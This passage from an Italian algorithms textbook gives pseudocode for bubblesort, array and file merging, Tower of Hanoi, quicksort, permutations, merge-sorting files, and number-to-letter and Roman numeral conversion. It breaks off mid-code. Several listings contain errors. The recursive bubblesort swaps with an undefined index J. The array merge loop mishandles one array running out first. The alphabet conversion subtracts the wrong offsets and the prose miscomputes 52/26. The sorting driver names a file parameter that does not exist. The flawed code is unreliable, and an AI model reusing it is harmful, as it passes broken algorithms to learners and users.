Il Bubblesort è un algoritmo relativamente semplice per l'ordinamento di un array, in cui ogni scansione trova il valore giusto per l'elemento iniziale dell'array stesso. Una volta trovata la collocazione di un elemento, si ripete la scansione per il segmento rimanente di array, in modo da collocare un altro valore. La pseudocodifica dovrebbe chiarire il meccanismo.

Variabile	Descrizione
`LISTA`	È l'array da ordinare.
`A`	È l'indice inferiore del segmento di array da ordinare.
`Z`	È l'indice superiore del segmento di array da ordinare.

Viene mostrata una soluzione iterativa:

```
BSORT (LISTA, A, Z)

    LOCAL J INTEGER
    LOCAL K INTEGER

    # Scandisce l'array attraverso l'indice J in modo da collocare ogni
    # volta il valore corretto all'inizio dell'array stesso.
    FOR J := A; J < Z; J++

        # Scandisce l'array attraverso l'indice K scambiando i valori
        # quando sono inferiori a quello di riferimento.
        FOR K := J+1; K <= Z; K++

            IF LISTA[K] < LISTA[J]
                THEN
                    # I valori vengono scambiati.
                    LISTA[K] :==: LISTA[J]
```

```
            END IF

        END FOR

    END FOR

END BSORT
```

Segue una soluzione ricorsiva:

```
BSORT (LISTA, A, Z)

    LOCAL K INTEGER

    # L'elaborazione termina quando l'indice inferiore è maggiore o uguale
    # a quello superiore.
    IF A < Z
        THEN

            # Scandisce l'array attraverso l'indice K scambiando i
            # valori quando sono inferiori a quello iniziale.
            FOR K := A+1; K <= Z; K++

                IF LISTA[K] < LISTA[A]
                    THEN
                        # I valori vengono scambiati.
                        LISTA[K] :==: LISTA[J]
                END IF

            END FOR

            # L'elemento LISTA[A] è collocato correttamente, adesso si
            # ripete la chiamata della funzione in modo da riordinare
            # la parte restante dell'array.
            BSORT (@LISTA, A+1, Z)
    END IF

END BSORT
```

73.5.2 Fusione tra due array ordinati

Due array a una dimensione, con la stessa struttura, ordinati secondo qualche criterio, possono essere fusi in un array singolo, che mantiene l'ordinamento.

Variabile	Descrizione
A	È il primo array.

Variabile	Descrizione
`B`	È il secondo array.
`C`	È l'array da generare con la fusione di '**A**' e '**B**'.
`I`	È l'indice usato per scandire '**A**'.
`J`	È l'indice usato per scandire '**B**'.
`K`	È l'indice usato per scandire '**C**'.
`N`	È la dimensione di '**A**' (l'indice dell'ultimo elemento dell'array).
`M`	È la dimensione di '**B**' (l'indice dell'ultimo elemento dell'array).

Viene mostrata una soluzione iterativa, dove si presume che gli array siano ordinati in modo non decrescente:

```
MERGE (A, N, B, M, C)

    LOCAL I INTEGER
    LOCAL J INTEGER
    LOCAL K INTEGER

    # Si presume che l'indice del primo elemento degli
    # array sia pari a uno.

    I := 1
    J := 1
    K := 1

    UNTIL I >= N AND J >= M

        IF A(I) <= B(J)
            THEN
                C(K) := A(I)
                I++
            ELSE
                C(K) := B(J)
                J++
        END IF
        K++

    END UNTIL

END MERGE
```

73.5.3 Torre di Hanoi

La torre di Hanoi è un gioco antico: si compone di tre pioli identici conficcati verticalmente su una tavola e di una serie di anelli di larghezze differenti. Gli anelli sono più precisamente dei dischi con un foro centrale che permette loro di essere infilati nei pioli.

Il gioco inizia con tutti gli anelli collocati in un solo piolo, in ordine, in modo che in basso ci sia l'anello più largo e in alto quello più stretto. Si deve riuscire a spostare tutta la pila di anelli in un dato piolo muovendo un anello alla volta e senza mai collocare un anello più grande sopra uno più piccolo.

Figura 73.27. Situazione iniziale della torre di Hanoi all'inizio del gioco.

1 2 3

Nella figura 73.27 gli anelli appaiono inseriti sul piolo 1; si supponga che questi debbano essere spostati sul piolo 2. Si può immaginare che tutti gli anelli, meno l'ultimo, possano essere spostati in qualche modo corretto, dal piolo 1 al piolo 3, come nella situazione della figura 73.28.

Figura 73.28. Situazione dopo avere spostato $n-1$ anelli.

1 2 3

A questo punto si può spostare l'ultimo anello rimasto (l'n-esimo), dal piolo 1 al piolo 2; quindi, come prima, si può spostare in qualche modo il gruppo di anelli posizionati attualmente nel piolo 3, in modo che finiscano nel piolo 2 sopra l'anello più grande.

Pensando in questo modo, l'algoritmo risolutivo del problema deve essere ricorsivo e potrebbe essere gestito da un'unica subroutine che può essere chiamata opportunamente '**`HANOI`**'.

Variabile	Descrizione
`N`	È la dimensione della torre espressa in numero di anelli: gli anelli sono numerati da 1 a '**`N`**'.
`P1`	È il numero del piolo su cui si trova inizialmente la pila di '**`N`**' anelli.

Variabile	Descrizione
`P2`	È il numero del piolo su cui deve essere spostata la pila di anelli.
`6-P1-P2`	È il numero dell'altro piolo. Funziona così se i pioli sono numerati da 1 a 3.

Segue la pseudocodifica ricorsiva per la soluzione del problema:

```
HANOI (N, P1, P2)

    IF N > 0
        THEN
            HANOI (N-1, P1, 6-P1-P2)
            scrivi: "Muovi l'anello" N "dal piolo" P1 "al piolo" P2
            HANOI (N-1, 6-P1-P2, P2)
    END IF
END HANOI
```

Se '**`N`**', il numero degli anelli da spostare, è minore di 1, non si deve compiere alcuna azione. Se '**`N`**' è uguale a 1, le istruzioni che dipendono dalla struttura IF-END IF vengono eseguite, ma nessuna delle chiamate ricorsive fa alcunché, dato che '**`N-1`**' è pari a zero. In questo caso, supponendo che '**`N`**' sia uguale a 1, che '**`P1`**' sia pari a 1 e '**`P2`**' pari a 2, il risultato è semplicemente:

```
Muovi l'anello 1 dal piolo 1 al piolo 2
```

Il risultato è quindi corretto per una pila iniziale consistente di un solo anello.

Se '**`N`**' è uguale a 2, la prima chiamata ricorsiva sposta un anello ('**`N-1`**' = 1) dal piolo 1 al piolo 3 (ancora assumendo che i due anelli debbano essere spostati dal primo al terzo piolo) e si sa che questa è la mossa corretta. Quindi viene stampato il messaggio che dichiara lo spostamento del secondo piolo (l''**`N`**'-esimo) dalla posizione 1 alla posizione 2. Infine, la seconda chiamata ricorsiva si occupa di spostare l'anello collocato precedentemente nel terzo piolo, nel secondo, sopra a quello che si trova già nella posizione finale corretta.

In pratica, nel caso di due anelli che devono essere spostati dal primo al secondo piolo, appaiono i tre messaggi seguenti.

```
Muovi l'anello 1 dal piolo 1 al piolo 3
Muovi l'anello 2 dal piolo 1 al piolo 2
Muovi l'anello 1 dal piolo 3 al piolo 2
```

Nello stesso modo si potrebbe dimostrare il funzionamento per un numero maggiore di anelli.

73.5.4 Quicksort (ordinamento non decrescente)

L'ordinamento degli elementi di un array è un problema tipico che si può risolvere in tanti modi. Il Quicksort è un algoritmo sofisticato, ottimo per lo studio della gestione degli array, oltre che per quello della ricorsione. Il concetto fondamentale di questo tipo di algoritmo è rappresentato dalla figura 73.33.

Figura 73.33. Il concetto base dell'algoritmo del Quicksort: suddivisione dell'array in due gruppi disordinati, separati da un valore piazzato correttamente nel suo posto rispetto all'ordinamento.

Valore allocato

LISTA

Partizione dei valori minori del «valore allocato»

Partizione dei valori maggiori del «valore allocato»

Una sola scansione dell'array è sufficiente per collocare definitivamente un elemento (per esempio il primo) nella sua destinazione finale e allo stesso tempo per lasciare tutti gli elementi con un valore inferiore a quello da una parte, anche se disordinati, e tutti quelli con un valore maggiore, dall'altra.

In questo modo, attraverso delle chiamate ricorsive, è possibile elaborare i due segmenti dell'array rimasti da riordinare.

L'algoritmo può essere descritto grossolanamente come:

1. localizzazione della collocazione finale del primo valore, separando in questo modo i valori;
2. ordinamento del segmento precedente all'elemento collocato definitivamente;
3. ordinamento del segmento successivo all'elemento collocato definitivamente.

Viene qui indicato con '`PART`' la subroutine che esegue la scansione dell'array, o di un suo segmento, per determinare la collocazione finale (indice '`CF`') del primo elemento (dell'array o del segmento in questione).

Sia '`LISTA`' l'array da ordinare. Il primo elemento da collocare corrisponde inizialmente a '`LISTA[A]`' e il segmento di array su cui intervenire corrisponde a '`LISTA[A:Z]`' (cioè a tutti gli elementi che vanno dall'indice '`A`' all'indice '`Z`').

Alla fine della prima scansione, l'indice '`CF`' rappresenta la posizione in cui occorre spostare il primo elemento, cioè '`LISTA[A]`'. In pratica, '`LISTA[A]`' e '`LISTA[CF]`' vengono scambiati.

Durante la scansione che serve a determinare la collocazione finale del primo elemento, '`PART`' deve occuparsi di spostare gli elementi prima o dopo quella posizione, in funzione del loro valore, in modo che alla fine quelli inferiori o uguali a quello dell'elemento da collocare si trovino

nella parte inferiore e gli altri dall'altra. In pratica, alla fine della prima scansione, gli elementi contenuti in ‘`LISTA[A:(CF−1)]`’ devono contenere valori inferiori o uguali a ‘`LISTA[CF]`’, mentre quelli contenuti in ‘`LISTA[(CF+1):Z]`’ devono contenere valori superiori.

Indichiamo con ‘`QSORT`’ la subroutine che esegue il compito complessivo di ordinare l'array. Il suo lavoro consisterebbe nel chiamare ‘`PART`’ per collocare il primo elemento, continuando poi con la chiamata ricorsiva di se stessa per la parte di array precedente all'elemento collocato e infine alla chiamata ricorsiva per la parte restante di array.

Assumendo che ‘`PART`’ e le chiamate ricorsive di ‘`QSORT`’ svolgano il loro compito correttamente, si potrebbe fare un'analisi informale dicendo che se l'indice ‘`Z`’ **non** è maggiore di ‘`A`’, allora c'è un elemento (o nessuno) all'interno di ‘`LISTA[A:Z]`’ e inoltre, ‘`LISTA[A:Z]`’ è già nel suo stato finale. Se ‘`Z`’ è maggiore di ‘`A`’, allora (per assunzione) ‘`PART`’ ripartisce correttamente ‘`LISTA[A:Z]`’. L'ordinamento separato dei due segmenti (per assunzione eseguito correttamente dalle chiamate ricorsive) completa l'ordinamento di ‘`LISTA[A:Z]`’.

Le figure 73.34 e 73.35 mostrano due fasi della scansione effettuata da ‘`PART`’ all'interno dell'array o del segmento che gli viene fornito.

Figura 73.34. La scansione dell'array da parte di ‘`PART`’ avviene portando in avanti l'indice ‘`I`’ e portando indietro l'indice ‘`CF`’. Quando l'indice ‘`I`’ localizza un elemento che contiene un valore maggiore di ‘`LISTA[A]`’ e l'indice ‘`CF`’ localizza un elemento che contiene un valore inferiore o uguale a ‘`LISTA[A]`’, gli elementi cui questi indici fanno riferimento vengono scambiati, quindi il processo di avvicinamento tra ‘`I`’ e ‘`CF`’ continua.

scambio
A I CF Z
LISTA
valori <= di LISTA[A]
valori > di LISTA[A]
LISTA[I] > LISTA[A]
LISTA[CF] <= LISTA[A]

Figura 73.35. Quando la scansione è giunta al termine, quello che resta da fare è scambiare l'elemento ‘`LISTA[A]`’ con ‘`LISTA[CF]`’.

scambio
A CF I Z
LISTA
valori <= di LISTA[A]
valori > di LISTA[A]

In pratica, l'indice ‘`I`’, iniziando dal valore ‘`A+1`’, viene spostato verso destra fino a che viene

trovato un elemento maggiore di '**LISTA[A]**', quindi è l'indice '**CF**' a essere spostato verso sinistra, iniziando dalla stessa posizione di '**Z**', fino a che viene incontrato un elemento minore o uguale a '**LISTA[A]**'. Questi elementi vengono scambiati e lo spostamento di '**I**' e '**CF**' riprende. Ciò prosegue fino a che '**I**' e '**CF**' si incontrano, momento in cui '**LISTA[A:Z]**' è stata ripartita e '**CF**' rappresenta l'indice di un elemento che si trova nella sua collocazione finale.

Variabile	Descrizione
`LISTA`	L'array da ordinare in modo crescente.
`A`	L'indice inferiore del segmento di array da ordinare.
`Z`	L'indice superiore del segmento di array da ordinare.
`CF`	Sta per «collocazione finale» ed è l'indice che cerca e trova la posizione giusta di un elemento nell'array.
`I`	È l'indice che insieme a '**CF**' serve a ripartire l'array.

Segue la pseudocodifica delle due subroutine:

```
PART (LISTA, A, Z)

    LOCAL I INTEGER
    LOCAL CF INTEGER

    # si assume che A < Z

    I := A + 1
    CF := Z

    WHILE TRUE # ciclo senza fine.

        WHILE TRUE

            # sposta I a destra

            IF ((LISTA[I] > LISTA[A]) OR (I >= CF))
                THEN
                    BREAK
                ELSE
                    I := I + 1
            END IF

        END WHILE

        WHILE TRUE

            # sposta CF a sinistra
```

```
            IF (LISTA[CF] <= LISTA[A])
                THEN
                    BREAK
                ELSE
                    CF := CF - 1
            END IF

        END WHILE

        IF CF <= I
            THEN
                # è avvenuto l'incontro tra I e CF
                BREAK
            ELSE
                # vengono scambiati i valori
                LISTA[CF] :==: LISTA[I]
                I := I + 1
                CF := CF - 1
        END IF

    END WHILE

    # a questo punto LISTA[A:Z] è stata ripartita e CF è la collocazione
    # di LISTA[A]

    LISTA[CF] :==: LISTA[A]

    # a questo punto, LISTA[CF] è un elemento (un valore) nella giusta
    # posizione

    RETURN CF

END PART
```

```
QSORT (LISTA, A, Z)

    LOCAL CF INTEGER

    IF Z > A
        THEN
            CF := PART (@LISTA, A, Z)
            QSORT (@LISTA, A, CF-1)
            QSORT (@LISTA, CF+1, Z)
    END IF
END QSORT
```

Vale la pena di osservare che l'array viene indicato nelle chiamate in modo che alla subroutine sia inviato un riferimento a quello originale, perché le variazioni fatte all'interno delle subroutine devono riflettersi sull'array originale.

73.5.5 Permutazioni

La permutazione è lo scambio di un gruppo di elementi posti in sequenza. Il problema che si vuole analizzare è la ricerca di tutte le permutazioni possibili di un dato gruppo di elementi.

Se ci sono n elementi in un array, allora alcune delle permutazioni si possono ottenere bloccando l'n-esimo elemento e generando tutte le permutazioni dei primi $n-1$ elementi. Quindi l'n-esimo elemento può essere scambiato con uno dei primi $n-1$, ripetendo poi la fase precedente. Questa operazione deve essere ripetuta finché ognuno degli n elementi originali è stato usato nell'n-esima posizione.

Variabile	Descrizione
`LISTA`	L'array da permutare.
`A`	L'indice inferiore del segmento di array da permutare.
`Z`	L'indice superiore del segmento di array da permutare.
`K`	È l'indice che serve a scambiare gli elementi.

Segue la pseudocodifica:

```
PERMUTA (LISTA, A, Z)

    LOCAL K INTEGER
    LOCAL N INTEGER

    IF (Z - A) >= 1
        # Ci sono almeno due elementi nel segmento di array.
        THEN
            FOR K := Z; K >= A; K--

                LISTA[K] :==: LISTA[Z]

                PERMUTA (LISTA, A, Z-1)

                LISTA[K] :==: LISTA[Z]

            END FOR
        ELSE
            scrivi LISTA
    END IF

END PERMUTA
```

73.6 Gestione dei file

La gestione dei file è sempre la questione più complessa nello studio degli algoritmi, quanto si esclude la possibilità di gestire semplicemente tutto nella memoria centrale. In questo tipo di situazione, il file deve essere inteso come un insieme di record, che spesso sono di dimensione uniforme.

Nelle sezioni seguenti sono descritti alcuni problemi legati alla gestione dei file, con la soluzione in forma di pseudocodifica.

73.6.1 Fusione tra due file ordinati

La fusione di due file ordinati, aventi la stessa struttura, avviene leggendo un record da entrambi i file, confrontando la chiave di ordinamento e scrivendo nel file da ottenere il record con chiave più bassa. Successivamente, viene letto solo record successivo del file che conteneva la chiave più bassa e si ripete il confronto.

Figura 73.41. Il file '`FILE1`' e '`FILE2`' vengono fusi per generare il file '`FILE3`'.

FILE3
FILE1
FILE2
1 5 6 8
1 2 3 5 6 7 8
2 3 7

Segue un esempio di pseudocodifica per la soluzione del problema della fusione tra due file. La funzione riceve il riferimento ai file da elaborare e si può osservare l'utilizzo di variabili strutturate per accogliere i record dei file da elaborare. Come si può intuire, le variabili booleane il cui nome inizia per '**`EOF`**', rappresentano l'avverarsi della condizione di «fine del file»; in pratica, quando contengono il valore *Vero*, indicano che la lettura del file a cui si riferiscono è andata oltre la conclusione del file.

```
FUSIONE_DUE_FILE (FILE_IN_1, FILE_IN_2, FILE_OUT)

    LOCAL RECORD_1:
          CHIAVE_1       CHARACTER (8)
          DATI_1         CHARACTER (72)
    LOCAL EOF_1 := FALSE

    LOCAL RECORD_2:
          CHIAVE_2       CHARACTER (8)
          DATI_2         CHARACTER (72)
    LOCAL EOF_2 := FALSE

    LOCAL RECORD_3       CHARACTER (80)

    OPEN INPUT  FILE_IN_1
```

```
    OPEN INPUT  FILE_IN_2
    OPEN OUTPUT FILE_OUT

    READ FILE_IN_1 NEXT RECORD INTO RECORD_1
    IF END OF FILE
        THEN
            EOF_1 := TRUE
    END IF

    READ FILE_IN_2 NEXT RECORD INTO RECORD_2
    IF END OF FILE
        THEN
            EOF_2 := TRUE
    END IF

    UNTIL EOF_1 AND EOF_2

        IF EOF_1
            THEN
                RECORD_3 := RECORD_2
                READ FILE_IN_2 NEXT RECORD INTO RECORD_2
                IF END OF FILE
                    THEN
                    EOF_2 := TRUE
                END IF
            ELSE
                IF EOF_2
                    THEN
                        RECORD_3 := RECORD_1
                        READ FILE_IN_1 NEXT RECORD INTO RECORD_1
                        IF END OF FILE
                            THEN
                                EOF_1 := TRUE
                        END IF
                    ELSE
                        IF CHIAVE_1 < CHIAVE_2
                            THEN
                                RECORD_3 := RECORD_1
                                READ FILE_IN_1 NEXT RECORD INTO RECORD_1
                                IF END OF FILE
                                    THEN
                                        EOF_1 := TRUE
                                END IF
                            ELSE
                                RECORD_3 := RECORD_2
                                READ FILE_IN_2 NEXT RECORD INTO RECORD_2
                                IF END OF FILE
```

```
                                    THEN
                                        EOF_2 := TRUE
                                END IF
                        END IF
                END IF
        END IF

        WRITE FILE_OUT RECORD FROM RECORD_3

    END UNTIL

    CLOSE FILE_IN_1
    CLOSE FILE_IN_2
    CLOSE FILE_OUT

END FUSIONE_DUE_FILE
```

73.6.2 Riordino attraverso la fusione

Un file non ordinato può essere ordinato, attraverso una serie di passaggi, che prevedono la divisione in due parti del file (ovvero ***biforcazione***), contenenti le raccolte dei blocchi di record che risultano essere nella sequenza corretta, per poi fondere queste due parti e ripetere il procedimento. Le figure successive mostrano le due fasi: la separazione in due file, la fusione dei due file. Se il file risultante non è ordinato completamente, occorre procedere con una nuova fase di separazione e fusione. Si osservi, in particolare, che nelle figure, il file iniziale contiene solo tre blocchi di record in sequenza, pertanto, l'ultimo di questi blocchi viene collocato nel file finale senza una fusione con un blocco corrispondente.

Figura 73.43. Biforcazione del file.

Figura 73.44. Fusione.

Per costruire un programma che utilizza questa tecnica di ordinamento, si può considerare che sia avvenuta l'ultima fase di biforcazione quando si contano un massimo di due blocchi; pertanto, la fase successiva di fusione produce sicuramente il file ordinato finale.

Segue un esempio di pseudocodifica per eseguire la biforcazione. Si osservi che i nomi dei file vengono passati in qualche modo, così che dopo la chiamata di questa procedura sia possibile riaprire tali file per la fusione; inoltre, l'informazione contenuta nella variabile ***BIFORCAZIONI***, viene restituita come valore della chiamata della funzione, in modo da poter conoscere, dopo la chiamata, quante separazioni sono state eseguite nel file di partenza.

```
BIFORCA (FILE_IN_1, FILE_OUT_1, FILE_OUT_2)

    LOCAL RECORD_IN_1:
          CHIAVE        CHARACTER (8)
          DATI          CHARACTER (72)
    LOCAL CHIAVE_ORIG   CHARACTER (8)
    LOCAL EOF_1 := FALSE

    LOCAL RECORD_OUT_1  CHARACTER (80)
    LOCAL RECORD_OUT_2  CHARACTER (80)

    LOCAL SCAMBIO := 1
    LOCAL BIFORCAZIONI := 0

    OPEN INPUT  FILE_IN_1
    OPEN OUTPUT FILE_OUT_1
    OPEN OUTPUT FILE_OUT_2

    READ FILE_IN_1 NEXT RECORD INTO RECORD_IN_1
    IF END OF FILE
        THEN
            EOF_1 := TRUE
        ELSE
```

```
            BIFORCAZIONI++
            WRITE FILE_OUT_1 RECORD FROM RECORD_IN_1
            CHIAVE_ORIG := CHIAVE
            READ FILE_IN_1 NEXT RECORD INTO RECORD_IN_1
            IF END OF FILE
                THEN
                    EOF_1 := TRUE
            END IF
    END IF

    UNTIL EOF_1

        IF CHIAVE >= CHIAVE_ORIG
            THEN
                IF SCAMBIO == 1
                    THEN
                        WRITE FILE_OUT_1 RECORD FROM RECORD_IN_1
                        CHIAVE_ORIG := CHIAVE
                        READ FILE_IN_1 NEXT RECORD INTO RECORD_IN_1
                        IF END OF FILE
                            THEN
                                EOF_1 := TRUE
                        END IF
                    ELSE
                        WRITE FILE_OUT_2 RECORD FROM RECORD_IN_1
                        CHIAVE_ORIG := CHIAVE
                        READ FILE_IN_1 NEXT RECORD INTO RECORD_IN_1
                        IF END OF FILE
                            THEN
                                EOF_1 := TRUE
                        END IF
                END IF
            ELSE
                BIFORCAZIONI++
                CHIAVE_ORIG := CHIAVE
                IF SCAMBIO == 1
                    THEN
                        SCAMBIO := 2
                    ELSE
                        SCAMBIO := 1
                END IF
    END UNTIL

    CLOSE FILE_IN_1
    CLOSE FILE_OUT_1
    CLOSE FILE_OUT_2
```

```
    RETURN BIFORCAZIONI

END BIFORCA
```

Segue un esempio di pseudocodifica per eseguire la fusione a blocchi. Si osservi che i nomi dei file vengono passati in qualche modo, così che dopo la chiamata di questa procedura sia possibile riaprire tali file per la biforcazione e di nuovo per la fusione. Come si può intuire, le variabili booleane il cui nome inizia per '**`EOB`**', rappresentano l'avverarsi della condizione di «fine del blocco» non decrescente; in pratica, quando contengono il valore *Vero*, indicano che la lettura del file a cui si riferiscono ha prodotto un record che ha una chiave inferiore rispetto a quello letto precedentemente, oppure che non sono disponibili altri record.

```
FUSIONE (FILE_IN_1, FILE_IN_2, FILE_OUT)

    LOCAL RECORD_1:
          CHIAVE_1      CHARACTER (8)
          DATI_1        CHARACTER (72)
    LOCAL CHIAVE_1_ORIG CHARACTER (8)
    LOCAL EOF_1 := FALSE
    LOCAL EOB_1 := FALSE

    LOCAL RECORD_2:
          CHIAVE_2      CHARACTER (8)
          DATI_2        CHARACTER (72)
    LOCAL CHIAVE_2_ORIG CHARACTER (8)
    LOCAL EOF_2 := FALSE
    LOCAL EOB_2 := FALSE

    LOCAL RECORD_3      CHARACTER (80)

    OPEN INPUT  FILE_IN_1
    OPEN INPUT  FILE_IN_2
    OPEN OUTPUT FILE_OUT

    READ FILE_IN_1 NEXT RECORD INTO RECORD_1
    IF END OF FILE
        THEN
            EOF_1 := TRUE
            EOB_1 := TRUE
        ELSE
            CHIAVE_1_ORIG := CHIAVE_1
    END IF

    READ FILE_IN_2 NEXT RECORD INTO RECORD_2
    IF END OF FILE
        THEN
            EOF_2 := TRUE
            EOB_2 := TRUE
        ELSE
            CHIAVE_2_ORIG := CHIAVE_2
    END IF
```

```
    UNTIL EOF_1 AND EOF_2
        UNTIL EOB_1 AND EOB_2

            IF EOB_1
                THEN
                    RECORD_3 := RECORD_2
                    READ FILE_IN_2 NEXT RECORD INTO RECORD_2
                    IF END OF FILE
                        THEN
                            EOF_2 := TRUE
                            EOB_2 := TRUE
                    END IF
                ELSE
                    IF EOB_2
                        THEN
                            RECORD_3 := RECORD_1
                            READ FILE_IN_1 NEXT RECORD INTO RECORD_1
                            IF END OF FILE
                                THEN
                                    EOF_1 := TRUE
                                    EOB_1 := TRUE
                            END IF
                        ELSE
                            IF CHIAVE_1 < CHIAVE_2
                                THEN
                                    RECORD_3 := RECORD_1
                                    READ FILE_IN_1 NEXT RECORD INTO RECORD_1
                                    IF END OF FILE
                                        THEN
                                            EOF_1 := TRUE
                                            EOB_1 := TRUE
                                        ELSE
                                            IF CHIAVE_1 >= CHIAVE_1_ORIG
                                                THEN
                                                    CHIAVE_1_ORIG := CHIAVE_1
                                                ELSE
                                                    EOB_1 := TRUE
                                            END IF
                                    END IF
                                ELSE
                                    RECORD_3 := RECORD_2
                                    READ FILE_IN_2 NEXT RECORD INTO RECORD_2
                                    IF END OF FILE
                                        THEN
                                            EOF_2 := TRUE
                                            EOB_2 := TRUE
                                        ELSE
                                            IF CHIAVE_2 >= CHIAVE_2_ORIG
                                                THEN
                                                    CHIAVE_2_ORIG := CHIAVE_2
```

```
                                                ELSE
                                                    EOB_2 := TRUE
                                            END IF
                                    END IF
                            END IF
                    END IF
            END IF

            WRITE FILE_OUT RECORD FROM RECORD_3

        END UNTIL

        IF NOT EOF_1
        THEN
            EOB_1 := FALSE
        END IF

        IF NOT EOF_2
        THEN
            EOB_2 := FALSE
        END IF

    END UNTIL

    CLOSE FILE_IN_1
    CLOSE FILE_IN_2
    CLOSE FILE_OUT

END FUSIONE
```

Per poter riordinare effettivamente un file, utilizzando le procedure descritte, si può utilizzare la pseudocodifica seguente, che si avvale di quanto già descritto. Per non dover mostrare nella pseudocodifica come si dichiarano i file, si suppone che questo sia compito di un'altra porzione di codice assente, nel quale si chiama la procedura sottostante, indicando i riferimenti ai file da utilizzare. Si osservi che il file originale non viene modificato, producendo eventualmente un altro file ordinato.

```
ORDINAMENTO (FILE_IN, FILE_TMP_1, FILE_TMP_2, FILE_OUT)

    LOCAL BIFORCAZIONI

    BIFORCAZIONI := BIFORCA (@FILE_IN_1, @FILE_TMP_1, @FILE_TMP_2)
    #
    # se la variabile BIFORCAZIONI contiene zero, significa che
    # il file è vuoto.
    #
    IF BIFORCAZIONI > 0
        THEN
            FUSIONE (@FILE_TMP_1, @FILE_TMP_2, @FILE_OUT)
            WHILE BIFORCAZIONI > 2
                BIFORCAZIONI := BIFORCA (@FILE_OUT, @FILE_TMP_1, @FILE_TMP_2)
```

```
                FUSIONE (@FILE_TMP_1, @FILE_TMP_2, @FILE_OUT)
            END WHILE
    END IF

END ORDINAMENTO
```

73.7 Trasformazione in lettere

Nell'ambito della realizzazione di applicativi gestionali, capitano frequentemente problemi di conversione di numeri interi in una qualche forma alfabetica. In queste sezioni vengono mostrati degli algoritmi molto semplici per risolvere questo tipo di problemi.

73.7.1 Da numero a sequenza alfabetica pura

Esiste un tipo di numerazione in cui si utilizzano solo le lettere dell'alfabeto, dalla «a» alla «z», senza accenti o altri simboli speciali, senza distinguere tra maiuscole e minuscole. In generale, i simboli da «a» a «z» consentono di rappresentare valori da 1 a 26, dove lo zero è escluso. Per rappresentare valori superiori, si possono accoppiare più lettere, ma il calcolo non è banale, proprio perché manca lo zero.

Attraverso la pseudocodifica introdotta nella sezione 73.2, si può descrivere una funzione che calcoli la stringa corrispondente a un numero intero positivo, maggiore di zero. Per prima cosa, occorre definire una sotto funzione che sia in grado di trasformare un numero intero, compreso tra 1 e 26 nella lettera alfabetica corrispondente; ciò si ottiene abbastanza facilmente, attraverso la verifica di più condizioni in cascata. Il vero problema, purtroppo, sta nel costruire una stringa composta da più lettere, quando si vuole rappresentare un valore superiore a 26. Non essendoci lo zero, diventa difficile fare i calcoli. Se si parte dal presupposto che il numero da convertire non possa essere superiore a 702, si sa con certezza che servono al massimo due lettere alfabetiche (perché la stringa «ZZ» corrisponderebbe proprio al numero 702); in tal caso, è sufficiente dividere il numero per 26, dove la parte intera rappresenta la prima lettera, mentre il resto rappresenta la seconda. Tuttavia, se la divisione non dà resto, la stringa corretta è quella precedente. Per esempio, il numero 53 corrisponde alla stringa «BA», perché 53/26 = 2 con un resto di 1. Nello stesso modo, però, 52 si traduce nella stringa «AZ», perché 53/26 = 2, ma non c'è resto, pertanto, «B_» diventa «AZ».

La pseudocodifica seguente riepiloga il concetto in modo semplificato, dove, a seconda delle esigenze, la conversione è sempre limitata a un valore massimo. Le omissioni sono parti di codice facilmente intuibili.

```
INTEGER_TO_ALPHABET (N)

    ALPHABET_DIGIT (DIGIT)
        IF DIGIT = 0
            THEN
                RETURN ""
        ELSE IF DIGIT = 1
            THEN
                RETURN "A"
```

```
        ELSE IF DIGIT = 2
            THEN
                RETURN "B"
        …
        …
        ELSE IF DIGIT = 26
            THEN
                RETURN "Z"
        ELSE
            RETURN "##ERROR##"
        FI
    END ALPHABET_DIGIT

    IF N <= 0
        THEN
            RETURN "##ERROR##";
    ELSE IF N <= 26
        THEN
            RETURN ALPHABET_DIGIT (N)
    ELSE IF N <= 52
        THEN
            N := N - 52
            RETURN "A" ALPHABET_DIGIT (N)
    ELSE IF N <= 78
        THEN
            N := N - 78
            RETURN "B" ALPHABET_DIGIT (N)
    …
    …
    ELSE IF N <= 702
        THEN
            N := N - 702
            RETURN "Z" ALPHABET_DIGIT (N)
    ELSE IF N <= 728
        THEN
            N := N - 728
            RETURN "AA" ALPHABET_DIGIT (N)
    ELSE IF N <= 754
        THEN
            N := N - 754
            RETURN "AB" ALPHABET_DIGIT (N)
    …
    …
    ELSE
        RETURN "##ERROR##"
    END IF
END INTEGER_TO_ALPHABET
```

73.7.2 Da numero a numero romano

La conversione di un numero intero positivo in una stringa che rappresenta un numero romano, ha un discreto livello di difficoltà, perché la numerazione romana non prevede lo zero, perché la tecnica prevede la somma e la sottrazione di simboli (a seconda della posizione) e poi perché diventa difficile indicare valori multipli delle migliaia.

Per prima cosa è necessario conoscere il valore associato ai simboli elementari:

Simbolo	Valore corrispondente
I	1
V	5
X	10
L	50
C	100
D	500
M	1000

Un simbolo posto alla destra di un altro simbolo con un valore maggiore o uguale di questo, viene sommato; al contrario, un simbolo posto alla sinistra di un altro simbolo con un valore maggiore di questo, viene sottratto. Per esempio, «VI» equivale a 5+1, mentre «IV» equivale a 5−1. Esistono comunque anche altri vincoli, per evitare di creare numeri difficili da interpretare a causa di una complessità di calcolo eccessiva.

Per risolvere il problema con un algoritmo relativamente semplice, si può scomporre il valore di partenza in fasce: unità, decine, centinaia e migliaia (la conversione di valori superiori genererebbe soltanto una serie lunghissima di «M» che risulta poi troppo difficile da leggere).

```
INTEGER_TO_ROMAN (N)

    LOCAL DIGIT_1 INTEGER
    LOCAL DIGIT_2 INTEGER
    LOCAL DIGIT_3 INTEGER
    LOCAL DIGIT_4 INTEGER

    DIGIT_1 := 0
    DIGIT_2 := 0
    DIGIT_3 := 0
    DIGIT_4 := 0

    DIGIT_1_TO_ROMAN (DIGIT)
        IF DIGIT = 0
            THEN
                RETURN ""
        ELSE IF DIGIT = 1
            THEN
                RETURN "I"
        ELSE IF DIGIT = 2
            THEN
                RETURN "II"
        ELSE IF DIGIT = 3
```

```
            THEN
                RETURN "III"
        ELSE IF DIGIT = 4
            THEN
                RETURN "IV"
        ELSE IF DIGIT = 5
            THEN
                RETURN "V"
        ELSE IF DIGIT = 6
            THEN
                RETURN "VI"
        ELSE IF DIGIT = 7
            THEN
                RETURN "VII"
        ELSE IF DIGIT = 8
            THEN
                RETURN "VIII"
        ELSE IF DIGIT = 9
            THEN
                RETURN "IX"
        END IF
    END DIGIT_1_TO_ROMAN

    DIGIT_2_TO_ROMAN (DIGIT)
        IF DIGIT = 0
            THEN
                RETURN ""
        ELSE IF DIGIT = 1
            THEN
                RETURN "X"
        ELSE IF DIGIT = 2
            THEN
                RETURN "XX"
        ELSE IF DIGIT = 3
            THEN
                RETURN "XXX"
